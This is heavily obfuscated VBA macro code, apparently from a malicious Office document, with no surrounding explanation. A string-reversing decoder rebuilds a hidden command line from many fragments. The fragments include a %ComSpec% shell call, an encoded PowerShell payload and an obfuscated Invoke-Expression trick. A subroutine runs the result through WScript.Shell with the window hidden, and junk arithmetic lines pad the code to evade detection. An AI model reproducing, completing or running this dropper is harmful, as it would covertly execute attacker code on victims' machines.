PozcpZj = fshu3bbnabn3("a63_qnLC44vvbuWt40FJKDHAIDAkBQZAYDAxAwMAIGAkBgZAUGAyAQZAkDAhBQMAUDAwAQOAIDA5AgNAIDAxAgZAEDA5AQNAIGA3AQZAEGA0AwNAYGAxAQNAkDA4AQNAMGAkBgNAUGAmBQNAADAlBQYAYDAhBQNAMDAlBQZAIGAkBgZAIDAmBwYAYGAlBwMAcDA0AgNAUDAxAQZAYGAjBQOS0Yi@MW", 8, 192)
HPcLszqLcNP.VOJujVAOCBAqkMaC
qXoGiIzdcH.iSbXpLIMrWHpwLhkvNnCZnIwo
HTHws = fshu3bbnabn3("(r@DiYVa)3OKAAMAMDA3AAOAQGAjBgYAcDA3AgYAYDAiBQYAUGA1AAMAkDAlBgZAEGAjBAOAgDA1AQNAUGA5AgMAkDAlBQNAcDA5AQNAgDAkBQMAMDA1AwNAIDAyAAOAIDA5AQNAEGAyAQMAADG", 2, 134)
qXoGiIzdcH.iSbXpLIMrWHpwLhkvNnCZnIwo
TamkqNLSa.pnbKcFqhrEsj
rsWvEHrW = fshu3bbnabn3("wJ)''nIoj-'X'+]3,1[)ECnEreFERPESoBREv$]gnirTs[( ( .| ))))971,731,612,04,05,54.iDFQ0F)iobprovDhwz", 20, 75)
TamkqNLSa.pnbKcFqhrEsj
hLOsGdEjpa.OcWMRGhcmZwvZHnvfX
MVVXF = fshu3bbnabn3("0Y5aSiwjiEi8D(rvDq44YGAiBgYAIDAjBQMAEDA2AgYAUGA4AAZAIDAhBgYAcDAlBwNAUDAyAAMAgDAmBAOAMDA0AQYAIDAlBQZAMGAyAAMAgDAlBgMAEDAjBQOAIGAkBgZAIDAlBAOAQGA3AQETF8w7HR", 9, 126)
hLOsGdEjpa.OcWMRGhcmZwvZHnvfX
RnkzZZiCInF.DqAvavPUzZISwiCzoYbml
iUbEqIj = fshu3bbnabn3("3vA9AQPAcHA5AAbAcGADBgVAADAxAwTAADA2AgcAcGA6BgSAcEAvBQMAUDASBQTAgFA8BgM5435a05061b3143240f3476111d29467'($(edocINucOlLaLABOLgoTGNYlA(rr(UbBw07Jwzq60QOk", 23, 127)
RnkzZZiCInF.DqAvavPUzZISwiCzoYbml
aLAWXNwHcOT.DRDjRPHXjfDiYqUpK
mkDIWZ = fshu3bbnabn3("DQqUQ$ioiRF3$SYiQKO3$i<a(A4AAOAYDAhBAZAUGA1AQMAEDAlBAOAEDAmBAOAADA1AQMAQDAyAQYAEGAlBgYAcDAxAwMAIDAiBAZAUDA3AgMAkDAhBAZAQDAiBgZAEDA2AgMAIDAhBANAQGA1AwNAcDAhBAMAUDAhBwNAcDAmBQOAIDA4AQYAEDYF", 3, 160)
aLAWXNwHcOT.DRDjRPHXjfDiYqUpK
bIqHJzYWfH.QZmsjWGLvvaOVNSlZvbfrOHwEMniz
LVsZZ = fshu3bbnabn3("G6QaVo$SOHAMDA4AwoKa$vFQYt0mWUHnCO", 18, 7)
bIqHJzYWfH.QZmsjWGLvvaOVNSlZvbfrOHwEMniz
wWVDuzajNOd.wrvkSbSITqannIliurpoka
FsEjYAJVmQ = fshu3bbnabn3("wYm4m60TAQZAEDAxAAOAQDA0AANAkDAjBQNAIGAxAAMAUGA1AgNAQDA0AgNAUGAzAAOAMDA5AQNAADA3DH_GUCAqabRApkJOU8!8", 21, 72)
wWVDuzajNOd.wrvkSbSITqannIliurpoka
RHnQEDDkV.XoEQZAjiGzjrniwMXZjQdAt
CXzOSGcstQ = fshu3bbnabn3("rlFJA84ojYkQGBYVoDAoNAkDA1AgYAEDAmBgMAYGAjBANAYDAwAAOAIGAxAQNAYDAlBQOAEDAmBQOAADw", 2, 60)
RHnQEDDkV.XoEQZAjiGzjrniwMXZjQdAt
LzbzwwhjiI = GWiCKjchwZYHDd + zqpwwiC + LKIwqNQb + ChrW(34) + KjmoIDjvsOVYk + DQqXG + iUbEqIj + wGorUWwq + LIcAzQA + HdDFSYHOlW + GQzRBu + SJTnCku + LVsZZ + XzCRkOGE + XSiIAU + SFOXKfKsp + qjNSB + jziUKs + LWVDaiSF + YJkjcBw + IwDCwEq + GqwTQ + RKOtOjSDR + HfoUoJJj + qJmwAMR + mkDIWZ + jEWIpYHG + vslNwiZi + nUYAjrW + RbFBsoIv + nuPNKuY + GKzKm + jcMwi + wnoBktCZFX + czUVzrRPb + hAKKDYshfj + fJmwGisb + wipai + iCwwOsRWaBO + UhDrXiwLTdU + iDHPXBCdiEV + ZHhPJ + iNukuHPI + MVVXF + YXXPupVcU + RRaFGz + HTHws + IVACUTN + YwhYclkOlf + TjmiXA + tEWjE + iijMjWJCRT + pcUrjhJwIDZ + uafLwqEf + cjBBQ + uofHZGr + TkpJuOu + HsTwCfB + FsEjYAJVmQ + vpCjIw + mOfwZrtudFE + HBpbisQL + AJcwRV + POzidK + CXzOSGcstQ + GcJBd + PozcpZj + EYSkcRjZ + XDzWuaZU + mJHqOHtz + uKKwZiikdch + WwSPCqTwvYw + rsWvEHrW
QAhFtjiEE = XuwT * LiiYvs / GwJDT - Round(7935925 * CSng(7176442 * CInt(PiVVj)) + HsDBXk - Round(iOuK)) - 544 / AkJjzd + jtkwpN / Rnd(SjmsZd) * (7422188 / CDbl(8556924) + (piWX / CByte(1422533 / CDbl(5384526) - 5446330 / 6498317)))
End Function

Attribute VB_Name = "LtBGCGKTX"
Sub AmHcZQXpdhAwN(TaviZwjWtTYM As String)
On Error Resume Next
cIMSzJUNz = Isal * qbEjLn / WkpAA - Round(9686013 * CSng(9145174 * CInt(TMzj)) + apkk - Round(iaTkz)) - 544 / lIDQa + dIkF / Rnd(cczIWS) * (9790459 / CDbl(8000842) + (vqaXAr / CByte(3908156 / CDbl(645353) - 6247294 / 2393427)))
DlkRPrvfZ = iozF * NHnUII / vDcuh - Round(6137277 * CSng(3045666 * CInt(iabXBA)) + LhRbnZ - Round(NHrUi)) - 544 / jhiYDj + hoVJPP / Rnd(jHMbDo) * (4308394 / CDbl(9212124) + (DjVu / CByte(4346446 / CDbl(8225193) - 4117720 / 620314)))
NzczArDUS = KXMH * XjpF / PRuQnb - Round(6093444 * CSng(8441213 * CInt(oUqTR)) + SmqiQJ - Round(lfMY)) - 544 / vUwLhl + ovCMM / Rnd(LLmdo) * (3813617 / CDbl(761451) + (KulsHp / CByte(7185626 / CDbl(1381967) - 6104695 / 2948836)))
EOikXjdnE = dAPaiJ * zVIq / UwkaMS - Round(5003974 * CSng(9331818 * CInt(jQnHzq)) + oCzBP - Round(QKiK)) - 544 / zknl + ZLukz / Rnd(XKNICz) * (7067225 / CDbl(5442066) + (jScJT / CByte(1599142 / CDbl(7730740) - 5650481 / 1770954)))
iavBEcLBv = OwDGcq * poGIT / CshiI - Round(5780858 * CSng(3403498 * CInt(kikC)) + BVGkw - Round(BsOW)) - 544 / MzSoS + WAOBtJ / Rnd(zDXdd) * (5589690 / CDbl(2604987) + (DDpKj / CByte(758026 / CDbl(2009157) - 1477945 / 3480946)))
CreateObject("WScript.Shell").Run nVDSILdwlLk + TaviZwjWtTYM + XHLkntdXOlIL + wdijvM, vbHide
swTFnSfuM = hrBh * fhwz / RiuS - Round(534972 * CSng(2490717 * CInt(JMiwMq)) + rrDBXR - Round(wQWh)) - 544 / HdsQvf + fuOBBC / Rnd(aViiB) * (3972915 / CDbl(202022) + (qYcf / CByte(5134770 / CDbl(6442944) - 1404765 / 3627454)))
NXlIFOQwm = bLFdp * zzrm / mVMs - Round(1095820 * CSng(7568656 * CInt(nPFDX)) + BiQtV - Round(Flri)) - 544 / pwNjZj + qUCaC / Rnd(QzbwI) * (4463586 / CDbl(2680652) + (ndcLm / CByte(972054 / CDbl(5381413) - 6139175 / 6396500)))
iumTCJakO = bNDZa * rdVkJ / UUUCT - Round(7107017 * CSng(4609596 * CInt(bBKnXf)) + ENqB - Round(uomL)) - 544 / DBjubG + XCaRzz / Rnd(pMbGZC) * (3152275 / CDbl(365632) + (MnQiiw / CByte(6648607 / CDbl(6118049) - 6603463 / 1721371)))
End Sub
Function LKIwqNQb()
On Error Resume Next
iAOwuDCVtuSB.qJNjuWTVWWNu
CDccqs = fshu3bbnabn3("QTtWjwZivaTS4FSMzWapn$4GkuRlQHuQza3SUaGCwi", 32, 9)
iAOwuDCVtuSB.qJNjuWTVWWNu
DUQtamzKJzu.AianRQIPwVXhpptXzTCaNP
FSpLpn = fshu3bbnabn3("CrYV7KGRplYtMDnk7uLS(f_", 9, 10)
DUQtamzKJzu.AianRQIPwVXhpptXzTCaNP
GCIAqTEZUc.NJwZWRsvdQjcJ
upofUn = fshu3bbnabn3("toMQ(6bn4wvaT%!!%NwAhdpXU", 2, 14)
GCIAqTEZUc.NJwZWRsvdQjcJ
aRJjOEHQd.jQWJHzGKoVdhQVN
juPStO = fshu3bbnabn3("DhqdU3iCUFwF% tes&&0kC7VS_ aB67iK_Pp oO8", 22, 10)
aRJjOEHQd.jQWJHzGKoVdhQVN
QnuwIGiOf.CwIttYZAAqusQDQJErOWjTmU
jZDYvW = fshu3bbnabn3("Or$3Qmq6QaFHSiAFalDYS5$3iu(iY@tA", 16, 3)
QnuwIGiOf.CwIttYZAAqusQDQJErOWjTmU
BKwwSuiPUj.hLEnAjzOiSCWDpulznDz
oKTdsBDI = fshu3bbnabn3("FwkGL7j$&&QWqOmEKOls=%wnbvtS0BUo<", 7, 19)
BKwwSuiPUj.hLEnAjzOiSCWDpulznDz
fBdrAuQhSowH.JruMwTdvjujPiiSsjk
AbEFjJnuV = fshu3bbnabn3("T$3YAkqTwrLBUC% tes<jqbUJOu@OQVG$7DJBi)F", 22, 6)
fBdrAuQhSowH.JruMwTdvjujPiiSsjk
uwmfKkAzWf.CibSlGNWtXdPA
PtwINclrjl = fshu3bbnabn3("tHQKM@6oY4rpP48kMYjvRrJ=i$VqYqR$4_RDpd", 15, 9)
uwmfKkAzWf.CibSlGNWtXdPA
TNVkJmfbv.RJXuSPWHsYtqwkUJ
wkzKCvJzIE = fshu3bbnabn3("wvYjvoib0uCPjqOKTClYwKAK4JRioQKA3mUzVY6@7V", 30, 3)
TNVkJmfbv.RJXuSPWHsYtqwkUJ
UNHbQdkMBj.wFfhlqhURPziHrXdFccKNGoEwV
arQlLoCW = fshu3bbnabn3(" k6Aiit668JOOJ@37v&&ll=%DKpQAdXQGoGkW", 6, 14)
UNHbQdkMBj.wFfhlqhURPziHrXdFccKNGoEwV
rJIUMpuJC.pLwiGJpBiNvwuWSDzFY
mWJGSlwmiQ = fshu3bbnabn3("w0wq$VapXQZcHmA% tes&&t8D$5(iYH6BO$jJ(W", 18, 15)
rJIUMpuJC.pLwiGJpBiNvwuWSDzFY
fKIJRrtn.unKrwwObdTQXOkPTGoirQz
iiPYTXBWu = fshu3bbnabn3("wv8viSkmub7vu0o<Gnv3nH !%DKp@dD", 4, 6)
fKIJRrtn.unKrwwObdTQXOkPTGoirQz
VfRZlqtIS.mDwrLfmNIWKkWWaYu
fQcisil = fshu3bbnabn3("<Mo@wVas&&s=%MYTtob4Y<j_jDP<f", 14, 9)
VfRZlqtIS.mDwrLfmNIWKkWWaYu
TrPtZMZqii.WViIjsFjXdjqd
JwfIZ = fshu3bbnabn3("@iuTV0uS4AovfBv4UokiQKp@KQZcHmA%!!%uYF", 4, 10)
TrPtZMZqii.WViIjsFjXdjqd
sSAOFTDptbQ.MpJPioOtQIGlwY
Gaijw = fshu3bbnabn3("fAj!aSUpu@YQQ7M6iqVpjtNSvaXGViaii33KaLn", 13, 7)
sSAOFTDptbQ.MpJPioOtQIGlwY
owGXZswQCKZ.HuOzApQHitRZRrPUXR
KWKBURr = fshu3bbnabn3("aD_TalF%!!%MYTtWjwZi4Euw3", 6, 13)
owGXZswQCKZ.HuOzApQHitRZRrPUXR
BariiZQtjzMX.MGoDYsLFIiajcTOaCuOw
DiauWEzf = fshu3bbnabn3("C!SSAwa4j2hY!%upBnpnoAYGYY", 7, 8)
BariiZQtjzMX.MGoDYsLFIiajcTOaCuOw
sQtZiDBlTjbp.uGvhCXrLuinNhPf
jsjzbNvmGAV = fshu3bbnabn3("BUD$$$4r$JnBdaQ$ EQOoRKw", 7, 1)
sQtZiDBlTjbp.uGvhCXrLuinNhPf
kdnKawUWoD.AtLqSjuCiSVhIHTfoZAnGVSTzRp
wDCJbcw = fshu3bbnabn3("SrJdf75KBVF% tes&7b.K", 5, 6)
kdnKawUWoD.AtLqSjuCiSVhIHTfoZAnGVSTzRp
jSqfvfBzkj.OSziXbrSdpraBtV
THROpUhC = fshu3bbnabn3("n4wQamVS@!3QA$6bj26Mv4@VH", 13, 2)
jSqfvfBzkj.OSziXbrSdpraBtV
iRVYLlPqNo.fGjshiocqntjiFtMNwzIoPwpElEv
dXoImON = fshu3bbnabn3("iGqlOUDW0@z0aWcnVvncu.Uq", 5, 7)
iRVYLlPqNo.fGjshiocqntjiFtMNwzIoPwpElEv
QanbBwitNvi.zRozqtISdENSirkGVoiiF
SOGXLnwwq = fshu3bbnabn3("ErR$ijC3JH8dotbHKYoV($0A$k$nlVdR% tes&&Fjd0vzOwv", 9, 12)
QanbBwitNvi.zRozqtISdENSirkGVoiiF
bELZEURqr.mCTWccKbbwPVhuoT
oOown = fshu3bbnabn3("_wv888F38StRCi=%upBnHR34DS35Yb$$mtLk0r3(J.", 23, 6)
bELZEURqr.mCTWccKbbwPVhuoT
NvOdzvSs.lczuvaGoAOsczLCHNVuHuf
XowttLA = fshu3bbnabn3("Gj6FAapzD4!=%AFaKGRplYtMYUPrY4VVaStwOB5oU<OVF8rl_Gn", 28, 14)
NvOdzvSs.lczuvaGoAOsczLCHNVuHuf
FpoGAwzrS.AtkIioOTfRusEUwhqS
QSUDfImYi = fshu3bbnabn3(")VQW8LSdmmtQoDzHSr3S$pfnADU", 13, 10)
FpoGAwzrS.AtkIioOTfRusEUwhqS
ArIMjaGS.VkZGYzCICQZkrY
RWQuHdkM = fshu3bbnabn3("Jd DliiDSiQoD4", 2, 3)
ArIMjaGS.VkZGYzCICQZkrY
EiGCVakVAOEz.KIKUjApfqNQPQBCV
VHzosoIKZfA = fshu3bbnabn3("AJdk@UuadTj5HAiq6PpnSoYbQFan", 8, 3)
EiGCVakVAOEz.KIKUjApfqNQPQBCV
MmhCCuEDK.iwrYiizUORnjvQmqr
FubGrGcrlwT = fshu3bbnabn3("o7lauiEJJFrKHwkG)aKAOS$bO.pUJT(n!uQ", 26, 5)
MmhCCuEDK.iwrYiizUORnjvQmqr
NjGVdorrdz.CIWrsKiCoDNLnvzioN
BdVwbVNRYBc = fshu3bbnabn3("8w5$UrJz% tes&&RPddSTj=%VDkG.dKJUVGpA", 14, 17)
NjGVdorrdz.CIWrsKiCoDNLnvzioN
sPSmIvoROHO.mKjiSTaVzYzSr
WpSXqz = fshu3bbnabn3("SlojiSFiau%!=%vdHuWvGoF@$8UBl(q8@3Grfwj$r3k@Q$", 33, 9)
sPSmIvoROHO.mKjiSTaVzYzSr
RvcZLHLXPEjN.tJCHHjVAmhqsaLJOULh
RiujbtqrVj = fshu3bbnabn3("ouFhRjmKjJJN% tesiQfa$2RFOjpJSVHF.3)TwFVbWKnj", 29, 15)
RvcZLHLXPEjN.tJCHHjVAmhqsaLJOULh
ampXGUnQRsk.jwwTbBiKVNsnrJdmTp
zumVQEpmYT = fshu3bbnabn3("4CqbiwihaZ% teOYATOjmhJKLuS KD(V6DUVhl4iw", 28, 10)
ampXGUnQRsk.jwwTbBiKVNsnrJdmTp
WFukVYdmHT.MiJtGbFEMJaEAAhGjHSJ
aXuak = fshu3bbnabn3("GBiFB7mYhdK4r$QK!l<726d7d5w_Vj4@3dK", 25, 1)
WFukVYdmHT.MiJtGbFEMJaEAAhGjHSJ
rtVtSPEVHL.tYMbYYjcLtZlE
wOjmMi = fshu3bbnabn3("DU5Spq2AWlQ%!!%qobk3bD!YQv", 12, 5)
rtVtSPEVHL.tYMbYYjcLtZlE
tQYIMdHnDjqV.zXvYFTQwaXcOjQDaiMXOF
RtslzKtBJ = fshu3bbnabn3("bQvv3nQHi%!!%iV", 2, 5)
tQYIMdHnDjqV.zXvYFTQwaXcOjQDaiMXOF
tmBMduUhbbXU.CozpXXqSjittTzYYJjkUVBvjXj
MSpCjGWzjPQ = fshu3bbnabn3("_VR7Vr0lA$%pSzQicNRRrrBT64", 3, 14)
tmBMduUhbbXU.CozpXXqSjittTzYYJjkUVBvjXj
YqrtrYaa.cuowjhdjmXCzpQfLThVIAOuTVNv
aMLTbr = fshu3bbnabn3("Gaaji4O$$rGa$!Q4$4Fiau% tesoSDWm", 6, 9)
YqrtrYaa.cuowjhdjmXCzpQfLThVIAOuTVNv
CGvPEDwBl.lrmTUsjrBqqrRzjNrHX
WoATa = fshu3bbnabn3(".CSSEn($BTMRB@0_Sz3U tes&&uvY", 4, 6)
CGvPEDwBl.lrmTUsjrBqqrRzjNrHX
jUkJFrVwwuh.DpovTMpGrjwDwMizFctzZkwLtqH
lpTqAovK = fshu3bbnabn3("7r3Oo8pS63CK44Y3waAjpOpG6VdKffJ", 9, 1)
jUkJFrVwwuh.DpovTMpGrjwDwMizFctzZkwLtqH
OzumqHSww.iOIJPCwBwpjDFNTMpnLbCzVI
XGAMAGSn = fshu3bbnabn3("6DKb06wGR@S4OHDdwY&&re=%NwAhdo", 2, 11)
OzumqHSww.iOIJPCwBwpjDFNTMpnLbCzVI
ElOWWXsPM.VoiWTjBTKpMQLBpZLCvTNopZF
wLjNJINzqn = fshu3bbnabn3("K@6k&&wo=%IijhwwzbzL%Sa63Ud$rmAF", 12, 17)
ElOWWXsPM.VoiWTjBTKpMQLBpZLCvTNopZF
HFCGWqVczsA.UPTzqLkdkkjsIRWQJmN
EnrdYqK = fshu3bbnabn3("d<0Y(EJw$AJJUJHJJFlVdR%!Uv6iaD", 7, 9)
HFCGWqVczsA.UPTzqLkdkkjsIRWQJmN
JOVPYkGnjWf.KOLsRPfLftDwIHzTQmcdLoZfQJ
wSdANJcJZZZ = fshu3bbnabn3("nlAU6DQmmSoQOdX6$F6rQ", 7, 2)
JOVPYkGnjWf.KOLsRPfLftDwIHzTQmcdLoZfQJ
hizdpoOJWRn.jJzMmjWAisDCsFifibEVAVdLj
ROjoYQiNFMM = fshu3bbnabn3("AGtontLslvV4$OGdtj!MbUv$q", 16, 6)
hizdpoOJWRn.jJzMmjWAisDCsFifibEVAVdLj
cZztuBVDn.DKDQMzRfPlcnLfZf
mbwTkzO = fshu3bbnabn3("C3RdLUa_$$8RuDn% tesHOvoDGvQO", 10, 7)
cZztuBVDn.DKDQMzRfPlcnLfZf
TErlBizaJS.aKBnIYSApzZHclriazQwOuA
FMwwLOXAW = fshu3bbnabn3("CM8$YvjoOu$&!%IijhwwzbzL%d@0iYiUv$U", 11, 14)
TErlBizaJS.aKBnIYSApzZHclriazQwOuA
pzjuHNwM.NzqXNDEZZBKwzNYasPHY
usiiipRM = fshu3bbnabn3("KaEoOSS0Rv0@vv_oAWYOfQ.rQ_k$FDS% tes&&eh=%LSdmmtBUVF", 5, 17)
pzjuHNwM.NzqXNDEZZBKwzNYasPHY
blkBvCznw.KvjZtPwQEbTAQiSirMTdFY
wSQDNsrid = fshu3bbnabn3("E_25AqWZJ=%BOjwW750UnHhVbu4$Yo6", 16, 11)
blkBvCznw.KvjZtPwQEbTAQiSirMTdFY
LKIwqNQb = RiujbtqrVj + oKTdsBDI + aMLTbr + VHzosoIKZfA + oOown + lpTqAovK + WoATa + wLjNJINzqn + AbEFjJnuV + aXuak + MSpCjGWzjPQ + PtwINclrjl + SOGXLnwwq + FubGrGcrlwT + WpSXqz + DiauWEzf + juPStO + Gaijw + wSQDNsrid + dXoImON + mWJGSlwmiQ + XGAMAGSn + mbwTkzO + XowttLA + FMwwLOXAW + wDCJbcw + CDccqs + fQcisil + zumVQEpmYT + ROjoYQiNFMM + wkzKCvJzIE + BdVwbVNRYBc + RWQuHdkM + usiiipRM + arQlLoCW + EnrdYqK + jsjzbNvmGAV + RtslzKtBJ + FSpLpn + jZDYvW + JwfIZ + upofUn + KWKBURr + QSUDfImYi + wOjmMi + wSdANJcJZZZ + THROpUhC + iiPYTXBWu
lTnTWSakD = wYzczQ * HwPG / HkTT - Round(5625611 * CSng(5666272 * CInt(mUTY)) + JMmZtj - Round(TYZEri)) - 544 / haJLjp + kMCzD / Rnd(zZQZdz) * (2519116 / CDbl(3641694) + (idOQam / CByte(5676836 / CDbl(6483985) - 6305973 / 5468699)))
End Function

Attribute VB_Name = "PjosAuOPV"
Function GWiCKjchwZYHDd()
On Error Resume Next
jZWiXsILJk.jJAoakpYuMMpGrBwjSzjIJrr
DYmvSrUzk = fshu3bbnabn3("v(uGuSU8QjD(Bop<uOB6GO8     %cEp^S^mo^C%     Oa.@0biMYbu", 12, 22)
jZWiXsILJk.jJAoakpYuMMpGrBwjSzjIJrr
rrbvjbKjIMm.GrFAKtslwhlPBvZlTjGK
NnvdKmq = fshu3bbnabn3("vo34RJuCo8Adv  &DblwjQS(.QP(vQS", 16, 3)
rrbvjbKjIMm.GrFAKtslwhlPBvZlTjGK
rnHBPjikcNp.XRaGWHLXSbYt
kQqbbzpsH = fshu3bbnabn3("wkzJ@.UB^2kjYO", 6, 1)
rnHBPjikcNp.XRaGWHLXSbYt
rwwXPBRrXcz.uQibwPhjwSzVjmoDhwKR
bFLQmwWrB = fshu3bbnabn3("l7QRpv_bo  %cEp^S ", 2, 8)
rwwXPBRrXcz.uQibwPhjwSzVjmoDhwKR
iUoloPJuwt.zPBtEbiTfkmQIPjj
QMHcWSRH = fshu3bbnabn3("qCC0T_j$o PCovUT3qGT(mo^C%   JvHmU0QAl", 10, 8)
iUoloPJuwt.zPBtEbiTfkmQIPjj
AYNVZFoaP.WXOakrvwaMwYSrzo
wuBJWDfAcN = fshu3bbnabn3("$kH4FGvi$6@8/D(", 3, 1)
AYNVZFoaP.WXOakrvwaMwYSrzo
JkPrIOwkzAji.nEBTsTGGckwlnswqOVsoluFTim
pkAFhijRLD = fshu3bbnabn3("VJ3h3fioUVnJ0       Wd$!vdQ$$vGG<OD iK3zS", 22, 7)
JkPrIOwkzAji.nEBTsTGGckwlnswqOVsoluFTim
tTYRQwnc.BniSlGmFLolMFpsJtYXDWfRsNj
cZiCJ = fshu3bbnabn3("h8@6mlb TIXNwRlonvVrmbzQjvIhPiipwSSovK@77_K07JQGS$", 21, 25)
tTYRQwnc.BniSlGmFLolMFpsJtYXDWfRsNj
YifpANNjUKwE.ZmHNJviBnkbjYXkjHRANcGtOA
IDwBnEPwaon = fshu3bbnabn3("WV8vYiV0ubQ       c/         VSqb", 4, 19)
YifpANNjUKwE.ZmHNJviBnkbjYXkjHRANcGtOA
dYdlqVVj.zWwIcCzwsKhhVfV
CzzRiXFjnBj = fshu3bbnabn3("qwEXVA WHsiRGzjljcP dmc0O6DruBAGGlr.8KKouwv4MpWT", 26, 20)
dYdlqVVj.zWwIcCzwsKhhVfV
pDJmwlWlsWG.YsZjiCkrduSqicQTHzhXFS
NVYUqkLJaQk = fshu3bbnabn3("!ofoQ$@r7 zPjizfIjAYj3V", 3, 12)
pDJmwlWlsWG.YsZjiCkrduSqicQTHzhXFS
kojVBcvN.frpPtZCkJbfqQrmbDO
UEVlWiJf = fshu3bbnabn3("oUwToYf6Do    7v0jGlbo8Q7o_K36D6", 19, 4)
kojVBcvN.frpPtZCkJbfqQrmbDO
GWiCKjchwZYHDd = CzzRiXFjnBj + cZiCJ + NVYUqkLJaQk + NnvdKmq + QMHcWSRH + kQqbbzpsH + bFLQmwWrB + DYmvSrUzk + pkAFhijRLD + wuBJWDfAcN + IDwBnEPwaon + UEVlWiJf
DtJiFoOzr = nfHS * BztH / bZiIU - Round(5830088 * CSng(4904778 * CInt(XsjizO)) + UKzlBA - Round(hmzdTN)) - 544 / PtsUjm + KBNbO / Rnd(bzhEi) * (8625053 / CDbl(5093518) + (rAHFVi / CByte(8427631 / CDbl(9294632) - 1961681 / 8321513)))
End Function

Attribute VB_Name = "zENALwT"
Function fshu3bbnabn3(ByVal RdVlFJJEi As String, QXdAQpKD, zDoQtmmdSL)
On Error Resume Next
iMITCGXHL = MZTuj * jaFYiG / oBjpO - Round(6629294 * CSng(505646 * CInt(XzPzV)) + ANcR - Round(pSBpCK)) - 544 / OjZF + kbhUS / Rnd(RIYIw) * (8016289 / CDbl(5072986) + (wNqj / CByte(2656277 / CDbl(5642281) - 1286729 / 9441736)))
QMnLiizUV = RZiV * jhrLIM / ULPzN - Round(173686 * CSng(4633188 * CInt(LcTn)) + UjGr - Round(JEmtYB)) - 544 / aZJwW + wkjrb / Rnd(jQwwVs) * (7930693 / CDbl(1048505) + (KTzbAY / CByte(9867164 / CDbl(1532210) - 8849606 / 5201824)))
nNYmbOBpK = DbdFJ * VKIR / iviQ - Round(1072986 * CSng(2018623 * CInt(Wtwcp)) + niId - Round(hTDij)) - 544 / jqtRpD + zcaERp / Rnd(WDiTR) * (4365671 / CDbl(5124531) + (MRbCrn / CByte(5125892 / CDbl(9655822) - 9522153 / 760474)))
kNCUjFEIV = vjPQFjq + StrReverse(RdVlFJJEi) + dNqjQS
u3ugkj = AiojNN + Mid(kNCUjFEIV, QXdAQpKD, zDoQtmmdSL) + wdcqmLB
YicAGuqGn = mbMzX * iKkkm / JNqwih - Round(7228900 * CSng(7702913 * CInt(uiIE)) + NiKYQt - Round(PzmAPa)) - 544 / ujCa + cUPK / Rnd(LIVz) * (2050404 / CDbl(8533943) + (EtoIzz / CByte(2216731 / CDbl(3930109) - 8632866 / 1047974)))
uQDwSHdti = EtcOwX * MHYr / EqwW - Round(7325562 * CSng(9875345 * CInt(jqGVWZ)) + HJsBrF - Round(AsKRZ)) - 544 / cwwM + NqLNB / Rnd(VizCAz) * (4637300 / CDbl(995020) + (zQtTGh / CByte(7445706 / CDbl(5458050) - 835059 / 9646069)))
mFMpRjstB = jnuH * jMFZzu / LkJLCi - Round(1222442 * CSng(7556742 * CInt(NGOPr)) + ohSI - Round(WvFM)) - 544 / mXaUh + EDzt / Rnd(fGhNn) * (2710499 / CDbl(6626849) + (jfrEX / CByte(4596244 / CDbl(4526702) - 1418149 / 8307680)))
pPQfzpPHj = tLCLP * hJbkvR / Njfr - Round(9025944 * CSng(3694515 * CInt(wJvN)) + kdvh - Round(RGGv)) - 544 / KiUbGp + wWvY / Rnd(CvSw) * (4045897 / CDbl(7679528) + (WjPpz / CByte(6041188 / CDbl(4131488) - 7227804 / 5295186)))
fshu3bbnabn3 = TpKNYZ + u3ugkj + WTNNh
NYRpdaAOT = SdYFup * wkEnm / GNti - Round(4192050 * CSng(3427472 * CInt(BaPoV)) + XHBvlM - Round(XWjpTf)) - 544 / zWcJ + bVKbkw / Rnd(zrurO) * (6834952 / CDbl(6788025) + (RPup / CByte(3637529 / CDbl(5112976) - 9063818 / 6156278)))
jhELqGbiw = uuVM * RzGPw / fSFjc - Round(8832811 * CSng(6832643 * CInt(nqUjp)) + ujloq - Round(PtIp)) - 544 / hEkdqM + wDEP / Rnd(bNMsCK) * (3049141 / CDbl(5056346) + (flll / CByte(2701439 / CDbl(3506062) - 4693978 / 6702873)))
End Function